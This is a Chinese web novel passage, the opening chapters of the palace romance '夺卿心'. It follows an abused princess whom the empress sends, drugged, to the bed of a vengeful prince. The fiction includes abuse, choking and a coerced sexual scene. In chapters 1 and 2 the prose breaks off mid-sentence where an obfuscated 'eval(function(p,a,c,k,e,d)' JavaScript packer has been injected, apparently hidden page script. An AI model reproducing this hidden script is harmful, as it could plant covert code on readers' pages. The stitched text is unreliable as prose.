《夺卿心》 1. 文学城首发 二月天,夜晚春寒料峭,刚淋过雨的白玉石阶在庭灯下泛着幽暗的冷光,闻梨在这台阶上足足跪了一个时辰。 直至一旁监罚的方嬷嬷出声,闻梨跪得直挺的后脊才堪堪软下去,她揉着发麻酸胀的双膝,无声息坐在地上,等待双腿恢复知觉。 这期间无一个宫人上前搀扶闻梨起身。 方嬷嬷端起桌上的热茶,浅浅啜了一口,神色自若,语气却十分冷漠:“奴婢代皇后娘娘问一句,公主可知今日错在何处?” 闻梨垂下眼眸,声音略有些消沉:“我不该打碎沁云皇妹的砚盏。” 方嬷嬷抚了抚鬓边一丝不苟的发髻,冷冰冰训道:“公主当知,皇后娘娘操持后宫不易,今儿这个失手,明儿那个不小心,后宫还有规矩可言?公主既承了娘娘的恩典,挪出了冷宫,住在这锦衣玉食的凤栖宫,必得时时刻刻感念娘娘的恩德,今日欠下的礼佛经卷,还请公主今夜补全。” 闻梨低头应是。 方嬷嬷不紧不慢放下茶杯,命身后的太监呈上衣物,和缓了语气:“三日后宫中要举行一场春日宴,娘娘说公主及笄已满一年,也该为公主寻个好夫婿,赴宴时,还请公主打扮体面,莫要给娘娘丢脸。” 闻梨忍着腿疼起来,福身拜谢:“谢母后恩典。” 方嬷嬷满意地带着随从离去。 待一行人走远,银霜才敢小声地替自家主子打抱不平:“公主好歹也拿出点主子的架势来,她方嬷嬷再怎么得皇后娘娘宠信,那也是下人,哪有这般轻慢主子的?” 闻梨微微蹙了蹙眉,冷道:“此话日后不可再提。” 银霜心不甘情不愿诺了一声。 回到寝殿,闻梨坐在床边,任由银霜替她那红肿的双膝上药,望着枕边摆放的新衣,心中惶惶不安。 从前沈皇后不允许她参加任何宫宴,如今她刚及笄一年,沈皇后便要张罗着替她寻个夫婿,由沈皇后为她敲定的夫婿,恐怕并非良人。 寂寂长夜,闻梨辗转难眠。 * 春二月,正是玉京城一年中最热闹的时节,天气转暖,绿池边上燕子呢喃,街巷深处桃李盛放,百姓纷至沓来,游春赏花不亦乐乎。 京中的权贵望族家中却是另一番景象,为了即将到来的宫中宴会,一边忙着给适龄的女儿添置行头,欲为其寻个才貌双全的好夫婿,又一边规劝整日只知招猫逗狗的公子哥,期盼其娶个门当户对的贤妻兴旺门楣。 转眼到了春日宴当天,赴宴的马车将宫门围得水泄不通,宫外熙熙攘攘好不热闹,而宫闱内却森严安静,达官贵人及其家眷在宫人的引接下有序前往宜春园。 宜春园一角,宫女穗儿朝两位官家小姐欠身道:“二位姑娘的坐席在此,待晚宴时刻,奴婢自会来接二位过去。” 年岁较小的姑娘抱怨道:“什么嘛,此处地势低洼风景差,还不遮凉,为何偏偏给我们安排这样的席位?我看对面高处明明还空着不少好位置!” 此话一出,引得附近的贵女公子哥纷纷侧头观望。 与之同行的另一位姑娘生得玉容花貌,不禁蹙额轻声劝阻:“玉儿,别再说了,我瞧坐这里正好,快快落座,别叫旁人看笑话。” 被唤‘玉儿’的姑娘不情不愿坐下,嘴里还在嘟囔:“堂姐真是好脾气,这般忍让只会让他们更加怠慢我们。” 听出王萝玉话里的嘲讽之意,王若楚缄默不言,心中略有不快,若非四叔亲自求情,她绝不会带上刚入京的堂妹一起进宫,白白惹人笑话。 “阿楚!”远处传来一道熟悉的女声。 王若楚抬头,原来是闺中好友孙月如,便起身带着堂妹过去见礼。 孙如月的祖父是太子太傅,家中颇有些权势,故而分到了一个视野不错的坐席。 孙如月神秘兮兮道:“阿楚,你可知我们对面的高处坐着什么人?” 王若楚望过去,竹影重重,依稀只瞧见几个男子的身形,但看不清他们的相貌。 她摇摇头。 孙如月神秘一笑:“那里可坐着一位阿楚的旧相识,再好好想想!” 王若楚一下便猜着了,不自觉红了脸,羞赧的目光无处可放。 王萝玉见状,兴冲冲问道:“孙姐姐别卖关子了,快告诉我,究竟是什么人让堂姐如此难为情?” 孙如月笑道:“是谢陵,你堂姐儿时的未婚夫。” 王萝玉仔细回想:“是那位刚受封的异姓郡王临王?堂姐居然和他有婚约?” 王萝玉三个月前才搬来玉京,恰好赶上临王胜仗归来的那天,她曾遥遥见过马背上的那位将军,清朗绝尘,气宇不凡,不知令多少姑娘神魂颠倒。 不过,后来听人说那位将军屠了齐国两座城池,才换来赫赫战功,是个杀人不眨眼的活阎王。 王萝玉带着羡慕又同情地目光看向堂姐,却发现堂姐神情黯淡,似乎有什么心事。 王若楚从竹林移开眼,声音低落:“我与他是曾有过婚约,不过……” 话尚未说完,王若楚瞥见莲池边上有人落水,惊慌喊了一声,惹得众人纷纷扭头看去,又瞧见池边掉下去一个人,四周顿时喧闹起来。 过了好一阵子,才有宫人慌慌张张下水救人,听周围的人议论,落水的是宫里的两位公主,幸而得救及时,没有被淹死。 竹林内,凭栏而坐的深衣男子收回视线,端起酒杯一饮而下,感慨道:“没想到玉京的世风如此势利,你们瞧瞧,小的那位公主落水,簇拥着一堆人去救,而另一位公主,身边却只有个婢女,可见人情冷淡。” 与之同席的华服公子笑着解释道:“陆兄初来京城有所不知,并非京中人冷漠,而是那位闻梨公主身份特殊,又不得圣上与皇后喜爱,故而才受到冷落。” 陆回恍然:“原来如此,那小丫鬟不离不弃,也算是个忠心护主,难得,难得啊!” “那倒未必。”一道低沉磁性的嗓音响起。 二人齐齐望向台阶上一直沉默少言的临王。 谢陵端坐在榻上,日光透过竹隙,洒落点点浮金,照在他轮廓分明的半侧脸上,光线晃眼,叫人望不清他脸上此刻的神情。 陆回是谢陵的部下,难得见其主动开口,一时好奇问道:“王爷此话何意?” 谢陵饮了口酒,却不做任何解释,只淡淡道:“继续看热闹吧。” 没过多久,一个满头珠翠的华服妇人匆忙赶来,搂住自己的女儿心疼不已,直待御医说并无大碍,华服妇人才冷静下来,问责起照顾小公主的一干宫人。 小公主的贴身嬷嬷跪地道:“贵妃娘娘饶命,是小公主吩咐奴婢别跟着,还说要和闻梨公主一起放风筝,哪知奴婢一个错眼,小公主就掉进水池。” “闻梨公主怎会与柔儿一同落水?” 众人的视线随着岚贵妃的转身,一齐落在了水边坐着的少女身上。 少女肩上披着侍女刚送来的月白披风,湿漉漉的额发还在渗水,未施粉黛的脸略有些苍白,柳叶眉紧蹙,盈盈杏眸里流露着几分无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说她是虞妃之女?” 谢陵的声音冷得令人头皮发麻,华服公子不知是自己的哪句话触怒这位活阎王,不自觉捏了把汗,“是、是啊,莫非临王殿下认识闻梨公主?” 谢陵没再说话,却将阴沉沉的目光锁在池边那抹纤弱的身影上。 场上气氛顿时凝滞,边上另有一模样清秀斯文的年轻男子替谢陵解围道:“何公子言笑了,王爷幼时便离京,怎会认识宫中的公主?” 华服公子尴尬地笑了笑,如坐针毡待了一阵,始终受不了这边压抑的气氛,寻了个借口告辞了,他一走,好些个世家子弟也跟着离开。 直至出了竹林,华服公子仍心有余悸,停下脚步问身后的世家弟子们:“吓死我了,你们刚刚瞧见临王眼中的杀气没?脾气果然如传闻那般暴虐凶狠,阴晴不定。” 有位世家弟子满怀歉疚:“世子所言甚是,连鄙弟我也吓得一身冷汗,早知临王与幼年如此天差地别,鄙弟绝不会引世子与临王相见。” 另有一人在旁感慨道:“想当年,谢氏一族何等风光,祖上出了多少位诗才,听说那位临王自幼聪明绝伦,七岁作诗已颇有杜老风范,甚得陛下欢心,还破格提拔成太子伴读,一晃十年过去了,如今却变成这副沉闷寡言的模样,倘若谢家当年没有遭遇那等祸事……” 华服公子立刻给了个慎言的眼神,“宫中耳目众多,不可在此妄议谢家灭门的事,别忘了,这是陛下亲自下的谕旨。” 2. 文学城首发 “好孩子,你且告诉岚娘娘,这一身的伤是怎么来的?别怕,有岚娘娘在,定会带你去陛下面前讨公道。” 闻梨深埋着脑袋,一句话不说,目光始终落在自己那被扯坏的衣袖上,眼中似乎有些惋惜,好好一件新衣裳,就这么破了。 见闻梨一声不吭,岚贵妃只得松手,瞥一眼银霜,“来人,把这小宫女送去刑司,照顾不好自家主子,便是失责。” 银霜跪地求饶:“贵妃娘娘饶命,并非奴婢照顾不周,公主身上的伤,皆是皇后娘娘所为,在凤栖宫,皇后娘娘倘或有一点不如意,便拿公主撒气,轻则抄书罚跪,重则鞭刑、挨饿、禁闭,求贵妃娘娘救救闻梨公主。” 银霜重重磕头。 闻梨置若罔闻,缩回自己的手,藏进袖中,仍然没什么反应。 岚贵妃似乎受到极大震撼,一脸难以置信:“皇后娘娘最是菩萨心肠,怎会如此虐待闻梨公主?来人,速速将陛下请来,查明公主受虐真相,也好还皇后娘娘清誉。” “陛下不会来了。”远处传来一道盛气凌人的女声。 众人纷纷跪拜迎接沈皇后。 岚贵妃瞧见沈皇后的刹那间,眼皮跳得厉害,不明白沈皇后怎会这么快赶来,脸上带着勉强的笑:“皇后娘娘不是在佳庆宫准备晚宴,怎会有闲心过来赏花?陛下呢?” 沈皇后已年近四十,精致的妆容,与那一身华贵宫服衬得她雍容尊贵,只有那眼尾的细纹和鬓间的白发,隐约能瞧出岁月的流逝。 “陛下身子不适,已有太医去伺候。”沈皇后侧目,厉声训斥道:“大胆姜氏,身为贵妃,不帮本宫看顾宴席,却在这里兴风作浪,试图挑拨离间,坏皇家清誉,到底是何居心?” 岚贵妃强稳住心神,心知自己派去请皇上的人怕是回不来了,但她不甘心就此罢手,筹谋许久,好不容易要在世人面前揭开沈皇后假慈悲的真面目,哪能放过这次机会。 “与皇室子嗣的安危比起来,皇室颜面算得了什么?闻梨身上的伤,皇后娘娘如何解释?” 沈皇后的目光略过众人,落在了一直沉默不语的闻梨身上,“闻梨,你可知罪?” 这时,闻梨没有片刻犹豫,熟练地跪下认罚:“儿臣没能及时解释误会,未能管教好宫人,还未看顾好皇妹,请母后责罚。” 岚贵妃闻言,顿时慌了神,宫中人皆知,沈皇后佛口蛇心,假借教养之名把闻梨养在膝下,却日日折磨出气,在外搏了个贤良大度的名声。 只要闻梨愿意站出来指认沈皇后,岚贵妃便有八成的胜算扳倒沈皇后。 岚贵妃走到闻梨身边,安抚道:“别怕,有岚娘娘给你撑腰,有什么就说什么。” 闻梨抬头,望了一眼岚贵妃,眸光冷淡:“多谢岚娘娘关心,我手腕处的伤,是被猫抓破的,因为害怕母后将猫送走,故而才一直不愿说。” 岚贵妃好似被水浇了个凉心透,彻底愣住,紧紧拽着闻梨的手腕:“说呀,你为什么不说?你想一辈子被她折磨吗?” 闻梨抿紧唇,一句话不说。 “够了!”沈皇后怒道:“来人,将岚贵妃带回芷梧宫,禁足三个月,罚俸半年,宫女银霜挑弄是非,背主忘恩,赐杖八十。” 闻梨仍然跪着。 沈皇后作状虚扶了一把,口中却道:“别怪母后严厉,倘若今日不责罚你,来日你的弟弟妹妹们也都放纵宫人乱了规矩,罚你回去跪一个时辰,今晚不必再来宴席。” 闻梨没有一丝为自己争辩的念头,颔首应是,起身跟着方嬷嬷等人回去领罚。 宴席前的闹剧就此结束,众公子贵女看了一场宫廷热闹,亲眼目睹了皇后娘娘的厉害之处,大不敬的言语顿时少了许多,没人再敢惹事生非。 没过多久,前厅传来开席的消息,众人陆续前往前厅赴宴。 王萝玉今日见识到宫中的勾心斗角,毛躁的性子收敛了很多,安分跟在堂姐身后,悄声感慨道:“皇后娘娘可真是雷厉风行,责罚起人来毫不手软,我瞧着那位闻梨公主日子真不好过,湿衣服都还没换,便被罚跪。” 王萝玉没等来堂姐的回应,抬头一瞧,却发现堂姐一直望着竹林的方向,她也随之看了过去,石阶上竹影绰绰,俊朗无双的年轻王爷,一袭绛紫劲装束身,衬得他身姿挺拔如松,尤其是那窄腰宽肩,极为惹眼。 萝玉堂妹轻撞了下王若楚的胳膊,掩唇打趣道:“堂姐不去找临王叙叙旧?” 王若楚回过神来,面色羞赧,埋头快步往前走,在她移开视线的刹那间,后方正好也投来三缕打量的目光,而她对此浑然不察。 “王爷,听说那位紫衣姑娘便是与您儿时有婚约的王景玄之女,果然仙姿玉貌,婉约动人,末将瞧着跟王爷您甚是登对!” 谢陵淡淡扫了一眼,很快又将目光移开,似乎并未将其放在心上。 军师商晏低头清咳一声,提醒道:“陆参将还请当心言辞,宫里处处是探子,切莫再说此等言语。” 陆回歉疚笑了笑,“先生教训得是,我胡咧咧惯了,嘴上没个把门的,我不过是瞧着那位姑娘屡屡回头看向王爷,情意绵绵的样子,而我们王爷,却总冷着一张脸,不知要吓跑多少姑娘。” 谢陵侧头斜睨陆回一眼,面上似有不快:“看来陆参将是春心萌动了,不如明日我派人去请媒婆,也给你寻一门婚事?” 听出谢陵恼了,陆回立刻请罪道:“王爷千万别,末将知错了,再也不敢打趣您了。” 其实陆回大抵能猜出来王爷因何恼怒。 此番受封进京,多方势力想要拉拢谢家,不论投靠哪边,京城地盘就这么大,谢家来得晚,抢不到什么资源优势。 而以王家为首的氏族名流,虽无实权,但名声在外,家底殷厚,若能得到他们的助力,谢家便能暂且在京城站稳脚跟,再逐步从太子手里夺权。 此事难就难在,王家跟谢家曾经有过婚约,但当年谢家出事,王家为求自保,不仅与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈皇后难得心情好,多说了几句:“何仇何怨?二人的仇怨可不小,当年虞妃谋逆,不知怎的被谢家家主谢怀知晓,于是虞妃痛下杀手,派人灭了谢家满门,虞妃死后,陛下一直忌讳此事,下令杀了所有知情人,唯有谢怀的弟弟谢宗知道真相,临王跟着他二叔在北境多年,故而本宫猜测,临王也知道这件事。” 苏嬷嬷更不理解了:“娘娘既然想拉拢临王,为何要把仇人之女送到他眼前?何况闻梨公主养在娘娘名下,就不怕临王迁怒娘娘吗?” 沈皇后掷出几把鱼食,“本宫不但要把人送到他眼前,还要把人送到他身边,你说,以仇敌之女作为见面礼,临王会拒绝吗?” 苏嬷嬷彻底折服:“原来如此,既拉拢了临王,又不让虞妃之女好过,娘娘果然英明!但万一临王下手没个轻重,把公主弄死怎么办?” 沈皇后盯着池中暴食而亡的鱼,冷笑一声:“那正好,如此一来,临王便有把柄握在本宫手里,还怕他不会乖乖听话?” 与此同时,有太监进来传话,说陛下中毒已醒,此刻正在寝殿大发雷霆,要宣沈皇后觐见。 “本宫忙着备宴,没空去见陛下,让陛下自个多多保重身体,别再误食用什么东西晕倒,另外叫陛下放心,前殿自有太子坐镇。”沈皇后冷笑着打发太监,又问苏嬷嬷:“郑贵妃那边今日有何举动?” 苏嬷嬷:“郑贵妃也有意让她的女儿接近临王,若被郑贵妃抢先,于娘娘大计不利呀。” 沈皇后看着池中翻起肚皮的鱼儿,半晌才道:“夜长梦多,下去安排,今晚就把人送上临王的床榻。另外这池子里的鱼,也该换一茬了。” 3. 文学城首发 天色逐渐暗沉,四下寂静无声,因着宴席的缘故,凤栖宫内的宫人悉数出去,唯剩一个方嬷嬷在此监罚。 短短几日内,闻梨在这玉阶上跪了两回,加上今日又落了水,寒气侵体,膝疼难耐,在她将要受不住之际,苏嬷嬷忽然出现,嘘寒问暖着将她从地上扶起。 “公主别觉着皇后娘娘狠心,皇后娘娘此举也是想让公主明白一个道理,岚贵妃不惜拿自己女儿的性命冒险,只为扳倒娘娘,公主今日不该出手救姝柔公主,她的死活与娘娘,与公主您都没有干系。” 闻梨低声应是,早在她发现池边泥土松陷,便察觉到皇妹落水是有人故意为之,其实她本可以避开岚贵妃的暗算,可当闻梨瞧见无望挣扎的皇妹,她想起了当年的自己。 那年母妃为了争宠,让不到五岁的她去莲池采荷花,溺水的恐惧到现在还会时时侵扰她的梦境,一想到此,便对皇妹有些于心不忍。 一旁的方嬷嬷看不惯苏嬷嬷用心计笼络人心,毫不客气道:“罚跪的时辰尚未到,苏嬷嬷这是做什么?” “自然是娘娘有事交给我办。”苏嬷嬷得意说着,又热切看向闻梨,“有一件事老奴要向公主道喜,临王年轻有为,乃是皇后娘娘看重的佳婿,但娘娘在宫中的处境,想必公主都看在眼里,倘若被旁人抢先,必有重重阻碍,因此只能委屈公主替娘娘分忧。” 闻梨心口蓦然一沉:“不知皇后娘娘要我做什么?” 苏嬷嬷:“娘娘要公主今晚伺候好临王,虽不太体面,来日有皇后娘娘做依仗,公主还担心成不了临王妃吗?” 闻梨沉默了半晌,虽说她早知自己的命运,逃不掉被皇后用作联姻的棋子,可没想到,竟是如此不堪地将她送上别人的床榻,和一件物品有何区别? 夜风骤起,吹得闻梨浑身发寒,湿衣裳还未全干,彷佛像牢锁,沉甸甸地锁着她的脊背,四肢,甚至是心。 越是反抗,便锁得越紧。 “好。”闻梨最终作了回应。 苏嬷嬷在前方带路,“公主且先随老奴去换衣服,等酒宴散了,老奴再送您过去。” 换完衣裙,闻梨跟随着苏嬷嬷行走在高高的宫墙之间,自打进了凤栖宫,她便很少踏足前殿,幼年时的记忆像是打开了闸口,不断涌现进脑中。 从众星捧月的公主,变成忍辱求全、任人摆布的棋子,荣辱生死只在权势者的一念之间。 闻梨太过了解沈皇后的性子,一旦沈皇后能与临王交好,便会迫不及待找个更听话的棋子代替她。 幽深甬道的尽头,是一扇扇深不见底的朱漆宫门,与幼年的记忆相比,墙还是一样的高,夜还是一样的深沉,好像什么都没变,又似乎一切都不一样了。 什么时候能越过那道最高的宫门,去外面的天地瞧瞧呢?也许她这辈子都见不到了吧。 春芳阁是前殿外臣们歇息的住所,此处远离后宫与前朝,地势虽偏僻,但今日歇了不少人,不似平常那般清净。 一进进独立的小院错落有致,各院景色清新雅致,皆有不同,有山石、花鸟、鱼池、竹林等。 苏嬷嬷推开其中一扇院门,溪流自假山簌簌落下,汇聚在池中,掩盖旁院传来的一些寻欢作乐的闹声。 来到房中,苏嬷嬷止步道:“公主别忘了老奴教您的侍寝规矩,明日卯时,老奴再来接您。” 苏嬷嬷说罢,便退出房门,脚步声逐渐消失。 房内没有点灯,闻梨扶着桌沿坐下,未等多时,门外再次响起脚步声,那步伐沉稳有力,闲庭漫步而来。 心中一紧,闻梨不自觉屏住呼吸,房门被人推开的刹那间,她抬眸循声望去,门里站着的高大身影几乎挡住檐下的灯笼,只依稀瞧见来人朦朦胧胧的轮廓。 一想到即将跟眼前的陌生男子行鱼水之欢,闻梨心中的羞耻感徒然倍增,不免有些害怕、紧张,甚至还有点绝望,万般惆怅的情绪压在心间,几乎让她喘不过气。 谢陵推门而入,第一眼便注意到桌边坐着的女子,自他入京以来,前来投怀送抱的人见得多了,有想拉拢的,有图财好色的,也有想要暗杀他的,但没有谁能从他身上讨到便宜。 今晚留他夜宿宫中的人是沈皇后,想来对方是沈皇后的人。 谢陵不紧不慢掏出火折子,点燃窗边的烛台,烛火腾起亮光的刹那,他往桌前瞧去,猝不及防对上一双略含泪光、慌张无措的杏眸,细看她的脸,柳叶眉微蹙,眼神明澈得似一汪清泉,眼尾红鼻头也红,看起来刚哭过。 她局促不安站在那里,乌发垂至两肩,几乎遮住盈盈腰肢,薄如蝉翼的纱裙下,隐约可见其妙曼的身姿。 谢陵打量完毕,神色霎时变得沉郁,深埋心间多年的仇恨再次复苏,理智告诉他,父辈的仇不该迁怒在一个无辜的人身上,何况仇人已死,没法亲手报仇,做什么都无济于事。 可她偏偏自投罗网,送上门来让他报复。 望着那双无辜的眼睛,在理智与仇恨的拉扯间,谢陵压制住情绪的起伏,怒声道:“滚出去。” 闻梨浑身一颤,仿佛有那么一瞬间,感受到对方身上散发的浓浓杀意,意识到男子不喜欢自己,闻梨犹豫片刻,往边门走去,心中已经想好大不了在外面待上一夜。 可走到门边,闻梨才注意到门被人从外面锁上了,拉了几下没拉动,腰间忽地覆来股力量,一只几乎与她腰一样粗的手掌从后面攥紧她的脖颈,男子粗重的热息喷洒在她的耳后。 “不走,是想留这儿等死吗?” 闻梨挣脱不开,脸被憋得通红,艰难开口:“王爷屠城时,便是这般杀了城中的妇幼老弱?” 谢陵闻言,脸色变得更加难看,手中的力道却不自觉放松,过了片刻,他冷静下来,松开手冷道:“你还真是不怕死。” 闻梨颈间的肌肤火辣辣的,猛地咳嗽了一阵,才恢复呼吸,仰头望向比自己高出许多的男子,借着烛火,闻梨这才看清他的容貌,丹凤眼,眼尾上挑,鼻梁高挺,唇薄颜色淡,明明是看上去极为令人赏心悦目的五官,此刻却一副深仇大恨的神情。 “我不知王爷为何想杀我,但王爷若动手,就如同捏死一只蚂蚁一样简单,可杀掉我,于王爷而言有什么好处?相反,王爷还会被我身后之人要挟,一辈子受控他人,还望王爷三思。” 谢陵狭眸幽邃,怒极反笑:“本王今日倒是小瞧 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她添了两杯,一杯留给自己,另一杯端给临王。 谢陵伸手来端水,手刚碰到闻梨冰冰凉凉的手,便触电般缩回,没接稳的茶杯落地摔碎了。 闻梨愣了一瞬,第一个反应是以为自己要被骂了,从前在凤栖宫打碎东西,不仅会被骂,还要被罚跪。 谢陵察觉到身体的异样,没说什么,自己起身端桌上的另一杯水喝,他注意到桌上已经没有别的茶杯了,迟疑片刻,还是把水喝了下去。 闻梨也有些渴,但只剩下一只茶杯,便只能干望着临王喝。 今晚格外的热,谢陵喝完一杯,又倒了一杯,彼时才意识到不对劲,他立刻放下茶杯,运功调息,却发现自己中药了,药性尚且不明,只觉浑身燥热,血气方刚得比平时更厉害。 谢陵眼中染上一抹愠色,冷冽的嗓音压抑着怒气:“你在水里下药了?” 闻梨错愕片刻,解释道:“怎么会……那杯水原是我自己要喝的。” 谢陵不语,将杯中到满水,递给闻梨才道:“既然没下毒,那你也喝给本王瞧瞧。” 闻梨为自证清白,毫不犹豫接过茶杯,一口饮尽,身体并无异样,干燥的嗓子被水润过之后舒服多了,但她还想喝更多水,然而茶壶在谢陵身旁,只得作罢。 谢陵这才相信水里没下药,环视周围一圈,最终将目光落在烛火上,心里有了答案。 闻梨循着谢陵的视线望过去,心中也明白了几分,宫中最不缺的就是下药的手段。 两人都心知肚明自己中了什么药,当下气氛更加静默。 闻梨的神情还算从容,反观谢陵,眉头微蹙,下颌紧绷,俊脸浮起一丝窘迫,始终站在桌后,仿佛在遮掩什么。 隔了一会儿,谢陵弹出指风灭掉烛火,房内顿时变黑,对于常年练武的谢陵而言,能靠着记忆也能辨别房中的布局,轻松自如走到床边。 见闻梨还站着不动。 谢陵颐指气使:“公主不是来伺候本王睡觉的吗?还愣着做什么?” 4. 第四章 随后,房中接连响起两道哐当声,谢陵瞧见那位蠢笨公主,先踢歪了椅子,又磕到床沿上,明明撞得很疼,却一声不吭,自己褪掉鞋袜,乖乖躺好。 谢陵被气笑了:“躺着做什么?是等着本王过来伺候你么?来给本王脱鞋。” 闻梨毫无怨言起身,光脚踩在冰凉的地面,视线基本已经能适应黑漆漆的环境,循着谢陵的方位过去,蹲低身子,伸手去找他的鞋,却不偏不倚碰到某个奇怪的地方。 她还想再往下探,手腕被人一把攥紧,男子羞恼的声音响起:“你在乱摸什么?这里不是本王的脚。” 闻梨这才意识到,临王是坐着的姿势,他的手劲很大,掌心很烫,摁着她的手往下走,终于摸到坚硬的鞋面。 谢陵自刚才被摸之后,浑身都不太对劲,迫切想要冲个凉水澡,但房门被锁,今晚没办法出去,此药不比一般的毒药,仅靠运功是没法排解的。 正当谢陵烦躁不已,某个不安分的家伙替他脱完鞋,手伸上来不知道要做什么,居然又碰到不该碰的地方,怪异的感觉涌遍全身,情不自禁闷哼了一声。 闻梨飞快缩回手:“抱歉,我只是想替王爷更衣。” 谢陵还沉浸在刚才的感觉中,一时没能出言喝止,只是不耐烦推开闻梨,径自来到床边坐下,他需要好好冷静。 这药劲的力度,远比他想象得强势霸道。 闻梨在宫中多年,除了隐忍顺从,还学会了揣摩别人的心思。 眼前的临王虽一来便掐她脖子,却并未使一点劲儿,否则凭他的手劲,不费吹灰之力便捏断她的脖颈。 至于为何一见面便目露杀意,恐怕是不喜欢以这种方式被人拿捏,或者收买,换言之,倘若能讨好他,没准能借他之手摆脱沈皇后的控制。 眼下闻梨已经没得选了,错过这个机会,回去后不知沈皇后会怎样处置自己,更要紧的是,沈氏一族权势滔天,也许唯有这位新晋的王爷能与之对抗。 她所谋所求不过自由二字,至于名节贞操这种虚无缥缈的东西,她通通不在乎。 闻梨麻利褪去衣裳,殊不知练武之人的目力极好,有灯无灯皆能看得一清二楚,包括那抹胸上绣的花样。 黑暗中,谢陵视线逐渐下落,呼吸声愈发紧促,理智到了失控的边缘,指尖来回摩挲着床沿的细纹,望着未着寸缕的人一步步靠近。 没等闻梨主动贴近,他却先一步捏住闻梨的胳膊,蛮横地将人禁锢在自己怀里,闻梨几乎跌坐在他腿上。 谢陵的一只手稳稳掐住闻梨的腰肢,另一只手挟紧她的脸慢慢凑近,二人呼吸近在咫尺,他低沉的嗓音近乎魅惑,却带着几分凉薄之意,轻蔑道: “公主可知惹火了本王的下场是什么?可曾想过本王比皇后还要心狠手辣?本王不会许诺你王妃的地位,只把你当作身边的一条狗。” 谢陵的语气实在太恶劣了,闻梨没忍住,狠狠咬了下谢陵的肩,腰间一紧,她感受到他掌心腾起的炙热温度。 宫中人人都是势利眼,无权无势者活得连狗都不如。 颈间落来滚烫的吻,有点痒,还黏糊糊的扯不开。 缠在腰间的力道越来越紧,那吻来势汹汹,不断地朝她索取,又顺势往下落,闻梨绷紧身子,耳畔是男子的粗喘声。 “公主若不情愿,随时可以停下。” “你好啰嗦。”闻梨难为情说道,都到这般田地了,停下岂不是她吃亏了。 谢陵不再言语,将闻梨拦腰抱起,转而来到榻上,事情到了这一步,他反而不急不躁地脱去衣服。 俯身压过来的那刻,他一只手便将她的双手捉住,抵过她头顶,她的每一寸肌肤皆落在他眼中,他打量她的眼神,就像是毒蛇缠上猎物,慢慢地收力,让猎物无处可逃。 另一只手却直直往下滑落,托在了她的腰间。 随着谢陵手上力道的加深,闻梨感觉到了痛,痛彻心扉,比后背一下下撞到床面上还痛。 这夜太漫长,架子床晃动的响声在闻梨耳边萦绕,清晰地传进她脑子里,在紧张的情绪下,肌肤的每一寸触感无限放大。 泪水洇湿了靠枕。 “不准哭出声。”谢陵疾言厉色凶了一句。 闻梨紧紧咬着唇,忍住不出声,她努力去听到门外潺潺的溪流声,夜风吹动树叶的声,从前挨打时,她便是这般将自己的意识投射到他处,以此来麻痹自己。 翌日清晨,天蒙蒙亮时,闻梨醒了,浑身酸疼得厉害,耳边是男子匀称的呼吸。 她蹑手蹑脚爬起来,捡地上的衣服穿好,回头瞧了一眼,却发现临王早已醒来,单臂撑起身子,懒洋洋斜倚在枕上,凝望着她的一举一动。 “王爷醒了?” “嗯,公主打算回去?” 闻梨被他盯得神色不太自然,别过脸去,轻声道:“我不奢求能嫁给王爷当临王妃,于我而言,能有个安身立命的地方便足够了,若王爷能助我逃离沈皇后的掌控,我愿意此生一心一意侍奉王爷。” 谢陵考虑了良久,低声应了句好。 奇怪,有了肌肤之亲后,望着闻梨那张无辜的脸,他竟然开始去想,谢家遭难之际,闻梨不过六七岁大,是什么都不懂的年纪。 闻梨紧悬着的心终于落地,还好没被吃干抹净。 闻梨盈盈一伏:“那就不打扰王爷休息。”想了想,她又回头望了一眼谢陵道:“我会在宫中静候王爷消息,还请王爷莫要失约。” 闻梨走后,谢陵也睡不着了,索性起身穿衣,却发现自己随身携带的玉佩不见了。 回想起闻梨翻找衣服的架势,他原以为她是目力不好,分不清哪件是她的,现在想来,那家伙远没有外表那般乖顺,偷偷拿了他的玉佩,是在担心他翻脸不认账吧? * 谢陵回到临王府,军师和陆回已等候他多时了。 谢陵见他二人眼底的淤青,想必是彻夜守着他的消息,便解释道:“留我夜宿宫中的人是沈皇后,她想拉拢我,替太子做事。” 军师商晏道:“这和我们入京前想的差不多,皇帝多病,沈氏一族在前朝替太子笼络人心,沈皇后在后宫替太子清扫障碍,唯一能与之抗衡的便是郑贵 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商晏很快洞悉了谢陵的想法,坦言道:“殿下不想娶王家的女儿对吧?昨日便见殿下对王姑娘兴致缺缺,我私自调查了一下,才知道王家当年退婚一事,殿下向来恩怨分明,选择了虞妃的女儿,一则拖延婚事,二则你明白你二叔的手段,寻常女子定逃不过一死。” 谢陵沉默不语,自己的所想所为,皆被商晏看得一清二楚,十年了,在商晏面前,自己从来没有任何心事能瞒过他。 陆回见二人之间的气氛将至冰点,两边劝道:“王爷冷静,军师他不禁打的,你一拳下去,肯定鼻歪眼斜。还有军师啊,你自己憋心里就好,干嘛说出来拆穿王爷?” 商晏坦荡对上谢陵阴沉的目光,神色诚恳道:“我是看着殿下长大的,这些年殿下把自己绷太紧,从未松懈过片刻,仇恨是会蒙蔽双眼的,也会让殿下越来越孤僻。” 谢陵不解问:“军师的意思是?” 商晏道:“殿下没得选,我们不得不借助王家的势力,王家姑娘必须要娶,至于闻梨公主,我会想办法帮殿下替谢侯争取,两个一起娶也行,但还请殿下以大局为重,偶尔任性一次没关系,但王家这股势力,万不可失去。” 陆回震惊,“两个都娶?王爷好福气,但一位虽然落魄,好歹是天家公主,另一位又是清流氏族的女儿,她们会乐意吗?” 商晏笑道:“这就要看殿下的努力了。” 谢陵沉默许久,放弃与商晏玩心思,神情恹恹道:“军师看着办就好。” 与此同时,外间长随风浅来报,回禀说洗澡水已经倒好,另外还递来一封信。 商晏接过来先瞧,原来是他前几日以临王的名义派人送给王家的请帖,此贴一直迟迟未回,经过昨天春日宴一事,今早竟回了。 陆回好奇问:“帖子上怎么说?” 商晏却看向谢陵:“恭喜殿下,王家应允了,三日后的踏春游,王家姑娘也会去。” 